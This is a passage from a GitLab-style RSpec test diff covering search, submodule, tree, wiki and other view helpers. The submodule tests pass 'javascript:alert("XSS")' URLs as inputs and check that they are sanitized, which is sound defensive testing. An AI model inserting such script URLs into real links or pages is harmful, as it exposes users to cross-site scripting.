+ expect(results.count).to eq(5)
+
+ expect(results[0]).to include({
+ category: 'Recent issues',
+ id: issue1.id,
+ label: 'issue 1',
+ url: Gitlab::Routing.url_helpers.project_issue_path(issue1.project, issue1),
+ avatar_url: project1.avatar_url
+ })
+
+ expect(results[1]).to include({
+ category: 'Recent issues',
+ id: issue2.id,
+ label: 'issue 2',
+ url: Gitlab::Routing.url_helpers.project_issue_path(issue2.project, issue2),
+ avatar_url: '' # This project didn't have an avatar so set this to ''
+ })
+ end
+
+ it 'includes the first 5 of the users recent merge requests' do
+ recent_merge_requests = instance_double(::Gitlab::Search::RecentMergeRequests)
+ expect(::Gitlab::Search::RecentMergeRequests).to receive(:new).with(user: user).and_return(recent_merge_requests)
+ project1 = create(:project, :with_avatar, namespace: user.namespace)
+ project2 = create(:project, namespace: user.namespace)
+ merge_request1 = create(:merge_request, :unique_branches, title: 'Merge request 1', target_project: project1, source_project: project1)
+ merge_request2 = create(:merge_request, :unique_branches, title: 'Merge request 2', target_project: project2, source_project: project2)
+
+ other_merge_requests = create_list(:merge_request, 5)
+
+ expect(recent_merge_requests).to receive(:search).with('the search term').and_return(MergeRequest.id_in_ordered([merge_request1.id, merge_request2.id, *other_merge_requests.map(&:id)]))
+
+ results = search_autocomplete_opts("the search term")
+
+ expect(results.count).to eq(5)
+
+ expect(results[0]).to include({
+ category: 'Recent merge requests',
+ id: merge_request1.id,
+ label: 'Merge request 1',
+ url: Gitlab::Routing.url_helpers.project_merge_request_path(merge_request1.project, merge_request1),
+ avatar_url: project1.avatar_url
+ })
+
+ expect(results[1]).to include({
+ category: 'Recent merge requests',
+ id: merge_request2.id,
+ label: 'Merge request 2',
+ url: Gitlab::Routing.url_helpers.project_merge_request_path(merge_request2.project, merge_request2),
+ avatar_url: '' # This project didn't have an avatar so set this to ''
+ })
+ end
+
it "does not include the public group" do
group = create(:group)
expect(search_autocomplete_opts(group.name).size).to eq(0)
@@ -228,6 +296,20 @@ RSpec.describe SearchHelper do
end
end
+ describe 'search_md_sanitize' do
+ it 'does not do extra sql queries for partial markdown rendering' do
+ @project = create(:project)
+
+ description = FFaker::Lorem.characters(210)
+ control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) { search_md_sanitize(description) }.count
+
+ issues = create_list(:issue, 4, project: @project)
+
+ description_with_issues = description + ' ' + issues.map { |issue| "##{issue.iid}" }.join(' ')
+ expect { search_md_sanitize(description_with_issues) }.not_to exceed_all_query_limit(control_count)
+ end
+ end
+
describe 'search_filter_link' do
it 'renders a search filter link for the current scope' do
@scope = 'projects'
diff --git a/spec/helpers/services_helper_spec.rb b/spec/helpers/services_helper_spec.rb
index 481bc41bcf3..d6b48b3d565 100644
--- a/spec/helpers/services_helper_spec.rb
+++ b/spec/helpers/services_helper_spec.rb
@@ -21,9 +21,42 @@ RSpec.describe ServicesHelper do
:comment_detail,
:trigger_events,
:fields,
- :inherit_from_id
+ :inherit_from_id,
+ :integration_level
)
end
end
end
+
+ describe '#group_level_integrations?' do
+ subject { helper.group_level_integrations? }
+
+ context 'when no group is present' do
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when group is present' do
+ let(:group) { build_stubbed(:group) }
+
+ before do
+ assign(:group, group)
+ end
+
+ context 'when `group_level_integrations` is not enabled' do
+ it 'returns false' do
+ stub_feature_flags(group_level_integrations: false)
+
+ is_expected.to eq(false)
+ end
+ end
+
+ context 'when `group_level_integrations` is enabled for the group' do
+ it 'returns true' do
+ stub_feature_flags(group_level_integrations: group)
+
+ is_expected.to eq(true)
+ end
+ end
+ end
+ end
end
diff --git a/spec/helpers/snippets_helper_spec.rb b/spec/helpers/snippets_helper_spec.rb
index 302122c3990..a3244bec56f 100644
--- a/spec/helpers/snippets_helper_spec.rb
+++ b/spec/helpers/snippets_helper_spec.rb
@@ -109,7 +109,7 @@ RSpec.describe SnippetsHelper do
end
def download_link(url)
- "<a target=\"_blank\" rel=\"noopener noreferrer\" class=\"btn btn-sm has-tooltip\" title=\"Download\" data-container=\"body\" href=\"#{url}?inline=false\"><i aria-hidden=\"true\" data-hidden=\"true\" class=\"fa fa-download\"></i></a>"
+ "<a target=\"_blank\" rel=\"noopener noreferrer\" class=\"btn btn-sm has-tooltip\" title=\"Download\" data-container=\"body\" href=\"#{url}?inline=false\">#{sprite_icon('download')}</a>"
end
end
diff --git a/spec/helpers/storage_helper_spec.rb b/spec/helpers/storage_helper_spec.rb
index eca42c8ce06..255ec2a41b4 100644
--- a/spec/helpers/storage_helper_spec.rb
+++ b/spec/helpers/storage_helper_spec.rb
@@ -22,11 +22,12 @@ RSpec.describe StorageHelper do
end
describe "#storage_counters_details" do
- let(:namespace) { create :namespace }
- let(:project) do
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:project) do
create(:project,
namespace: namespace,
statistics: build(:project_statistics,
+ namespace: namespace,
repository_size: 10.kilobytes,
wiki_size: 10.bytes,
lfs_objects_size: 20.gigabytes,
diff --git a/spec/helpers/submodule_helper_spec.rb b/spec/helpers/submodule_helper_spec.rb
index 426bca2ced2..a419b6b9c84 100644
--- a/spec/helpers/submodule_helper_spec.rb
+++ b/spec/helpers/submodule_helper_spec.rb
@@ -24,7 +24,11 @@ RSpec.describe SubmoduleHelper do
allow(Gitlab.config.gitlab_shell).to receive(:ssh_port).and_return(22) # set this just to be sure
allow(Gitlab.config.gitlab_shell).to receive(:ssh_path_prefix).and_return(Settings.send(:build_gitlab_shell_ssh_path_prefix))
stub_url([config.ssh_user, '@', config.host, ':gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'detects ssh on standard port without a username' do
@@ -32,14 +36,22 @@ RSpec.describe SubmoduleHelper do
allow(Gitlab.config.gitlab_shell).to receive(:ssh_user).and_return('')
allow(Gitlab.config.gitlab_shell).to receive(:ssh_path_prefix).and_return(Settings.send(:build_gitlab_shell_ssh_path_prefix))
stub_url([config.host, ':gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'detects ssh on non-standard port' do
allow(Gitlab.config.gitlab_shell).to receive(:ssh_port).and_return(2222)
allow(Gitlab.config.gitlab_shell).to receive(:ssh_path_prefix).and_return(Settings.send(:build_gitlab_shell_ssh_path_prefix))
stub_url(['ssh://', config.ssh_user, '@', config.host, ':2222/gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'detects ssh on non-standard port without a username' do
@@ -47,21 +59,33 @@ RSpec.describe SubmoduleHelper do
allow(Gitlab.config.gitlab_shell).to receive(:ssh_user).and_return('')
allow(Gitlab.config.gitlab_shell).to receive(:ssh_path_prefix).and_return(Settings.send(:build_gitlab_shell_ssh_path_prefix))
stub_url(['ssh://', config.host, ':2222/gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'detects http on standard port' do
allow(Gitlab.config.gitlab).to receive(:port).and_return(80)
allow(Gitlab.config.gitlab).to receive(:url).and_return(Settings.send(:build_gitlab_url))
stub_url(['http://', config.host, '/gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'detects http on non-standard port' do
allow(Gitlab.config.gitlab).to receive(:port).and_return(3000)
allow(Gitlab.config.gitlab).to receive(:url).and_return(Settings.send(:build_gitlab_url))
stub_url(['http://', config.host, ':3000/gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'works with relative_url_root' do
@@ -69,7 +93,11 @@ RSpec.describe SubmoduleHelper do
allow(Gitlab.config.gitlab).to receive(:relative_url_root).and_return('/gitlab/root')
allow(Gitlab.config.gitlab).to receive(:url).and_return(Settings.send(:build_gitlab_url))
stub_url(['http://', config.host, '/gitlab/root/gitlab-org/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org', 'gitlab-foss'), namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
it 'works with subgroups' do
@@ -77,61 +105,105 @@ RSpec.describe SubmoduleHelper do
allow(Gitlab.config.gitlab).to receive(:relative_url_root).and_return('/gitlab/root')
allow(Gitlab.config.gitlab).to receive(:url).and_return(Settings.send(:build_gitlab_url))
stub_url(['http://', config.host, '/gitlab/root/gitlab-org/sub/gitlab-foss.git'].join(''))
- expect(subject).to eq([namespace_project_path('gitlab-org/sub', 'gitlab-foss'), namespace_project_tree_path('gitlab-org/sub', 'gitlab-foss', 'hash')])
+ aggregate_failures do
+ expect(subject.web).to eq(namespace_project_path('gitlab-org/sub', 'gitlab-foss'))
+ expect(subject.tree).to eq(namespace_project_tree_path('gitlab-org/sub', 'gitlab-foss', 'hash'))
+ expect(subject.compare).to be_nil
+ end
end
end
context 'submodule on gist.github.com' do
it 'detects ssh' do
stub_url('git@gist.github.com:gitlab-org/gitlab-foss.git')
- is_expected.to eq(['https://gist.github.com/gitlab-org/gitlab-foss', 'https://gist.github.com/gitlab-org/gitlab-foss/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gist.github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gist.github.com/gitlab-org/gitlab-foss/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'detects http' do
stub_url('http://gist.github.com/gitlab-org/gitlab-foss.git')
- is_expected.to eq(['https://gist.github.com/gitlab-org/gitlab-foss', 'https://gist.github.com/gitlab-org/gitlab-foss/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gist.github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gist.github.com/gitlab-org/gitlab-foss/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'detects https' do
stub_url('https://gist.github.com/gitlab-org/gitlab-foss.git')
- is_expected.to eq(['https://gist.github.com/gitlab-org/gitlab-foss', 'https://gist.github.com/gitlab-org/gitlab-foss/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gist.github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gist.github.com/gitlab-org/gitlab-foss/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'handles urls with no .git on the end' do
stub_url('http://gist.github.com/gitlab-org/gitlab-foss')
- is_expected.to eq(['https://gist.github.com/gitlab-org/gitlab-foss', 'https://gist.github.com/gitlab-org/gitlab-foss/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gist.github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gist.github.com/gitlab-org/gitlab-foss/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'returns original with non-standard url' do
stub_url('http://gist.github.com/another/gitlab-org/gitlab-foss.git')
- is_expected.to eq([repo.submodule_url_for, nil])
+ aggregate_failures do
+ expect(subject.web).to eq(repo.submodule_url_for)
+ expect(subject.tree).to be_nil
+ expect(subject.compare).to be_nil
+ end
end
end
context 'submodule on github.com' do
it 'detects ssh' do
stub_url('git@github.com:gitlab-org/gitlab-foss.git')
- expect(subject).to eq(['https://github.com/gitlab-org/gitlab-foss', 'https://github.com/gitlab-org/gitlab-foss/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://github.com/gitlab-org/gitlab-foss/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'detects http' do
stub_url('http://github.com/gitlab-org/gitlab-foss.git')
- expect(subject).to eq(['https://github.com/gitlab-org/gitlab-foss', 'https://github.com/gitlab-org/gitlab-foss/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://github.com/gitlab-org/gitlab-foss/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'detects https' do
stub_url('https://github.com/gitlab-org/gitlab-foss.git')
- expect(subject).to eq(['https://github.com/gitlab-org/gitlab-foss', 'https://github.com/gitlab-org/gitlab-foss/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://github.com/gitlab-org/gitlab-foss/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'handles urls with no .git on the end' do
stub_url('http://github.com/gitlab-org/gitlab-foss')
- expect(subject).to eq(['https://github.com/gitlab-org/gitlab-foss', 'https://github.com/gitlab-org/gitlab-foss/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://github.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://github.com/gitlab-org/gitlab-foss/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'returns original with non-standard url' do
stub_url('http://github.com/another/gitlab-org/gitlab-foss.git')
- expect(subject).to eq([repo.submodule_url_for, nil])
+ aggregate_failures do
+ expect(subject.web).to eq(repo.submodule_url_for)
+ expect(subject.tree).to be_nil
+ expect(subject.compare).to be_nil
+ end
end
end
@@ -143,39 +215,67 @@ RSpec.describe SubmoduleHelper do
allow(repo).to receive(:project).and_return(project)
stub_url('./')
- expect(subject).to eq(["/master-project/#{project.path}", "/master-project/#{project.path}/-/tree/hash"])
+ aggregate_failures do
+ expect(subject.web).to eq("/master-project/#{project.path}")
+ expect(subject.tree).to eq("/master-project/#{project.path}/-/tree/hash")
+ expect(subject.compare).to be_nil
+ end
end
end
context 'submodule on gitlab.com' do
it 'detects ssh' do
stub_url('git@gitlab.com:gitlab-org/gitlab-foss.git')
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'detects http' do
stub_url('http://gitlab.com/gitlab-org/gitlab-foss.git')
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'detects https' do
stub_url('https://gitlab.com/gitlab-org/gitlab-foss.git')
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'handles urls with no .git on the end' do
stub_url('http://gitlab.com/gitlab-org/gitlab-foss')
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'handles urls with trailing whitespace' do
stub_url('http://gitlab.com/gitlab-org/gitlab-foss.git ')
- expect(subject).to eq(['https://gitlab.com/gitlab-org/gitlab-foss', 'https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash'])
+ aggregate_failures do
+ expect(subject.web).to eq('https://gitlab.com/gitlab-org/gitlab-foss')
+ expect(subject.tree).to eq('https://gitlab.com/gitlab-org/gitlab-foss/-/tree/hash')
+ expect(subject.compare).to be_nil
+ end
end
it 'returns original with non-standard url' do
stub_url('http://gitlab.com/another/gitlab-org/gitlab-foss.git')
- expect(subject).to eq([repo.submodule_url_for, nil])
+ aggregate_failures do
+ expect(subject.web).to eq(repo.submodule_url_for)
+ expect(subject.tree).to be_nil
+ expect(subject.compare).to be_nil
+ end
end
end
@@ -183,25 +283,29 @@ RSpec.describe SubmoduleHelper do
it 'sanitizes unsupported protocols' do
stub_url('javascript:alert("XSS");')
- expect(subject).to eq([nil, nil])
+ expect(subject).to be_nil
end
it 'sanitizes unsupported protocols disguised as a repository URL' do
stub_url('javascript:alert("XSS");foo/bar.git')
- expect(subject).to eq([nil, nil])
+ expect(subject).to be_nil
end
it 'sanitizes invalid URL with extended ASCII' do
stub_url('é')
- expect(subject).to eq([nil, nil])
+ expect(subject).to be_nil
end
it 'returns original' do
stub_url('http://mygitserver.com/gitlab-org/gitlab-foss')
- expect(subject).to eq([repo.submodule_url_for, nil])
+ aggregate_failures do
+ expect(subject.web).to eq(repo.submodule_url_for)
+ expect(subject.tree).to be_nil
+ expect(subject.compare).to be_nil
+ end
end
end
@@ -214,7 +318,11 @@ RSpec.describe SubmoduleHelper do
stub_url(relative_path)
result = subject
- expect(result).to eq([expected_path, "#{expected_path}/-/tree/#{submodule_item.id}"])
+ aggregate_failures do
+ expect(result.web).to eq(expected_path)
+ expect(result.tree).to eq("#{expected_path}/-/tree/#{submodule_item.id}")
+ expect(result.compare).to be_nil
+ end
end
it 'handles project under same group' do
@@ -235,7 +343,7 @@ RSpec.describe SubmoduleHelper do
result = subject
- expect(result).to eq([nil, nil])
+ expect(result).to be_nil
end
end
@@ -245,7 +353,7 @@ RSpec.describe SubmoduleHelper do
result = subject
- expect(result).to eq([nil, nil])
+ expect(result).to be_nil
end
end
@@ -289,7 +397,7 @@ RSpec.describe SubmoduleHelper do
end
it 'returns no links' do
- expect(subject).to eq([nil, nil])
+ expect(subject).to be_nil
end
end
end
diff --git a/spec/helpers/tree_helper_spec.rb b/spec/helpers/tree_helper_spec.rb
index 307479744ef..97b6802dde9 100644
--- a/spec/helpers/tree_helper_spec.rb
+++ b/spec/helpers/tree_helper_spec.rb
@@ -156,21 +156,36 @@ RSpec.describe TreeHelper do
end
describe '#vue_file_list_data' do
- before do
- allow(helper).to receive(:current_user).and_return(nil)
- end
-
it 'returns a list of attributes related to the project' do
expect(helper.vue_file_list_data(project, sha)).to include(
- can_push_code: nil,
- fork_path: nil,
- escaped_ref: sha,
- ref: sha,
project_path: project.full_path,
project_short_path: project.path,
+ ref: sha,
+ escaped_ref: sha,
full_name: project.name_with_namespace
)
end
+ end
+
+ describe '#vue_ide_link_data' do
+ before do
+ allow(helper).to receive(:current_user).and_return(nil)
+ allow(helper).to receive(:can_collaborate_with_project?).and_return(true)
+ allow(helper).to receive(:can?).and_return(true)
+ end
+
+ subject { helper.vue_ide_link_data(project, sha) }
+
+ it 'returns a list of attributes related to the project' do
+ expect(subject).to include(
+ ide_base_path: project.full_path,
+ needs_to_fork: false,
+ show_web_ide_button: true,
+ show_gitpod_button: false,
+ gitpod_url: "",
+ gitpod_enabled: nil
+ )
+ end
context 'user does not have write access but a personal fork exists' do
include ProjectForksHelper
@@ -185,9 +200,9 @@ RSpec.describe TreeHelper do
allow(helper).to receive(:current_user).and_return(user)
end
- it 'includes fork_path too' do
- expect(helper.vue_file_list_data(project, sha)).to include(
- fork_path: forked_project.full_path
+ it 'includes ide_base_path: forked_project.full_path' do
+ expect(subject).to include(
+ ide_base_path: forked_project.full_path
)
end
end
@@ -201,9 +216,54 @@ RSpec.describe TreeHelper do
allow(helper).to receive(:current_user).and_return(user)
end
- it 'includes can_push_code: true' do
- expect(helper.vue_file_list_data(project, sha)).to include(
- can_push_code: "true"
+ it 'includes ide_base_path: project.full_path' do
+ expect(subject).to include(
+ ide_base_path: project.full_path
+ )
+ end
+ end
+
+ context 'gitpod feature is enabled' do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ stub_feature_flags(gitpod: true)
+ allow(Gitlab::CurrentSettings)
+ .to receive(:gitpod_enabled)
+ .and_return(true)
+
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ it 'has show_gitpod_button: true' do
+ expect(subject).to include(
+ show_gitpod_button: true
+ )
+ end
+
+ it 'has gitpod_enabled: true when user has enabled gitpod' do
+ user.gitpod_enabled = true
+
+ expect(subject).to include(
+ gitpod_enabled: true
+ )
+ end
+
+ it 'has gitpod_enabled: false when user has not enabled gitpod' do
+ user.gitpod_enabled = false
+
+ expect(subject).to include(
+ gitpod_enabled: false
+ )
+ end
+
+ it 'has show_gitpod_button: false when web ide button is not shown' do
+ allow(helper).to receive(:can_collaborate_with_project?).and_return(false)
+ allow(helper).to receive(:can?).and_return(false)
+
+ expect(subject).to include(
+ show_web_ide_button: false,
+ show_gitpod_button: false
)
end
end
diff --git a/spec/helpers/user_callouts_helper_spec.rb b/spec/helpers/user_callouts_helper_spec.rb
index 6f1f358af83..a42be3c87fb 100644
--- a/spec/helpers/user_callouts_helper_spec.rb
+++ b/spec/helpers/user_callouts_helper_spec.rb
@@ -81,6 +81,26 @@ RSpec.describe UserCalloutsHelper do
end
end
+ describe '.show_service_templates_deprecated?' do
+ subject { helper.show_service_templates_deprecated? }
+
+ context 'when user has not dismissed' do
+ before do
+ allow(helper).to receive(:user_dismissed?).with(described_class::SERVICE_TEMPLATES_DEPRECATED) { false }
+ end
+
+ it { is_expected.to be true }
+ end
+
+ context 'when user dismissed' do
+ before do
+ allow(helper).to receive(:user_dismissed?).with(described_class::SERVICE_TEMPLATES_DEPRECATED) { true }
+ end
+
+ it { is_expected.to be false }
+ end
+ end
+
describe '.show_customize_homepage_banner?' do
let(:customize_homepage) { true }
diff --git a/spec/helpers/whats_new_helper_spec.rb b/spec/helpers/whats_new_helper_spec.rb
new file mode 100644
index 00000000000..db880163454
--- /dev/null
+++ b/spec/helpers/whats_new_helper_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe WhatsNewHelper do
+ describe '#whats_new_most_recent_release_items' do
+ let(:fixture_dir_glob) { Dir.glob(File.join('spec', 'fixtures', 'whats_new', '*.yml')) }
+
+ it 'returns json from the most recent file' do
+ allow(Dir).to receive(:glob).with(Rails.root.join('data', 'whats_new', '*.yml')).and_return(fixture_dir_glob)
+
+ expect(helper.whats_new_most_recent_release_items).to include({ title: "bright and sunshinin' day" }.to_json)
+ end
+
+ it 'fails gracefully and logs an error' do
+ allow(YAML).to receive(:load_file).and_raise
+
+ expect(Gitlab::ErrorTracking).to receive(:track_exception)
+ expect(helper.whats_new_most_recent_release_items).to eq(''.to_json)
+ end
+ end
+end
diff --git a/spec/helpers/wiki_helper_spec.rb b/spec/helpers/wiki_helper_spec.rb
index 6c7172e6232..65a52412f8c 100644
--- a/spec/helpers/wiki_helper_spec.rb
+++ b/spec/helpers/wiki_helper_spec.rb
@@ -53,6 +53,22 @@ RSpec.describe WikiHelper do
end
end
+ describe '#wiki_attachment_upload_url' do
+ it 'returns the upload endpoint for project wikis' do
+ @wiki = build_stubbed(:project_wiki)
+
+ expect(helper.wiki_attachment_upload_url).to end_with("/api/v4/projects/#{@wiki.project.id}/wikis/attachments")
+ end
+
+ it 'raises an exception for unsupported wiki containers' do
+ @wiki = Wiki.new(User.new)
+
+ expect do
+ helper.wiki_attachment_upload_url
+ end.to raise_error(TypeError)
+ end
+ end
+
describe '#wiki_sort_controls' do
let(:wiki) { create(:project_wiki) }
let(:wiki_link) { helper.wiki_sort_controls(wiki, sort, direction) }
diff --git a/spec/initializers/carrierwave_patch_spec.rb b/spec/initializers/carrierwave_patch_spec.rb
index d577eca2ac7..c4a7bfa59c6 100644
--- a/spec/initializers/carrierwave_patch_spec.rb
+++ b/spec/initializers/carrierwave_patch_spec.rb
@@ -28,5 +28,17 @@ RSpec.describe 'CarrierWave::Storage::Fog::File' do
expect(subject.authenticated_url).to eq("https://sa.blob.core.windows.net/test_container/test_blob?token")
end
end
+
+ context 'with custom expire_at' do
+ it 'properly sets expires param' do
+ expire_at = 24.hours.from_now
+
+ expect_next_instance_of(Fog::Storage::AzureRM::File) do |file|
+ expect(file).to receive(:url).with(expire_at).and_call_original
+ end
+
+ expect(subject.authenticated_url(expire_at: expire_at)).to eq("https://sa.blob.core.windows.net/test_container/test_blob?token")
+ end
+ end
end
end
diff --git a/spec/initializers/remove_active_job_execute_callback_spec.rb b/spec/initializers/remove_active_job_execute_callback_spec.rb
new file mode 100644
index 00000000000..e88b859aa77
--- /dev/null
+++ b/spec/initializers/remove_active_job_execute_callback_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'ActiveJob execute callback' do
+ it 'is removed in test environment' do
+ expect(ActiveJob::Callbacks.singleton_class.__callbacks[:execute].send(:chain).size).to eq(0)
+ end
+end
diff --git a/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb b/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb
index 73b67f9e61c..3c40859da21 100644
--- a/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb
+++ b/spec/lib/api/helpers/packages_manager_clients_helpers_spec.rb
@@ -3,126 +3,87 @@
require 'spec_helper'
RSpec.describe API::Helpers::PackagesManagerClientsHelpers do
+ include HttpBasicAuthHelpers
+
let_it_be(:personal_access_token) { create(:personal_access_token) }
let_it_be(:username) { personal_access_token.user.username }
let_it_be(:helper) { Class.new.include(described_class).new }
let(:password) { personal_access_token.token }
- describe '#find_job_from_http_basic_auth' do
- let_it_be(:user) { personal_access_token.user }
-
- let(:job) { create(:ci_build, user: user, status: :running) }
- let(:password) { job.token }
- let(:headers) { { Authorization: basic_http_auth(username, password) } }
-
- subject { helper.find_job_from_http_basic_auth }
-
- before do
- allow(helper).to receive(:headers).and_return(headers&.with_indifferent_access)
- end
-
- context 'with a valid Authorization header' do
- it { is_expected.to eq job }
+ let(:env) do
+ {
+ 'rack.input' => ''
+ }
+ end
- context 'when the job is not running' do
- before do
- job.update!(status: :failed)
- end
+ let(:request) { ActionDispatch::Request.new(env) }
- it { is_expected.to be nil }
- end
- end
+ before do
+ allow(helper).to receive(:request).and_return(request)
+ end
+ shared_examples 'invalid auth header' do
context 'with an invalid Authorization header' do
- where(:headers) do
- [
- [{ Authorization: 'Invalid' }],
- [{}],
- [nil]
- ]
+ before do
+ env.merge!(build_auth_headers('Invalid'))
end
- with_them do
- it { is_expected.to be nil }
- end
- end
-
- context 'with an unknown Authorization header' do
- let(:password) { 'Unknown' }
-
it { is_expected.to be nil }
end
end
- describe '#find_deploy_token_from_http_basic_auth' do
- let_it_be(:deploy_token) { create(:deploy_token) }
- let(:token) { deploy_token.token }
- let(:headers) { { Authorization: basic_http_auth(deploy_token.username, token) } }
-
- subject { helper.find_deploy_token_from_http_basic_auth }
-
- before do
- allow(helper).to receive(:headers).and_return(headers&.with_indifferent_access)
- end
-
+ shared_examples 'valid auth header' do
context 'with a valid Authorization header' do
- it { is_expected.to eq deploy_token }
- end
-
- context 'with an invalid Authorization header' do
- where(:headers) do
- [
- [{ Authorization: 'Invalid' }],
- [{}],
- [nil]
- ]
+ before do
+ env.merge!(basic_auth_header(username, password))
end
- with_them do
+ context 'with an unknown password' do
+ let(:password) { 'Unknown' }
+
it { is_expected.to be nil }
end
- end
-
- context 'with an invalid token' do
- let(:token) { 'Unknown' }
- it { is_expected.to be nil }
+ it { is_expected.to eq expected_result }
end
end
- describe '#uploaded_package_file' do
- let_it_be(:params) { {} }
+ describe '#find_job_from_http_basic_auth' do
+ let_it_be(:user) { personal_access_token.user }
+ let(:job) { create(:ci_build, user: user, status: :running) }
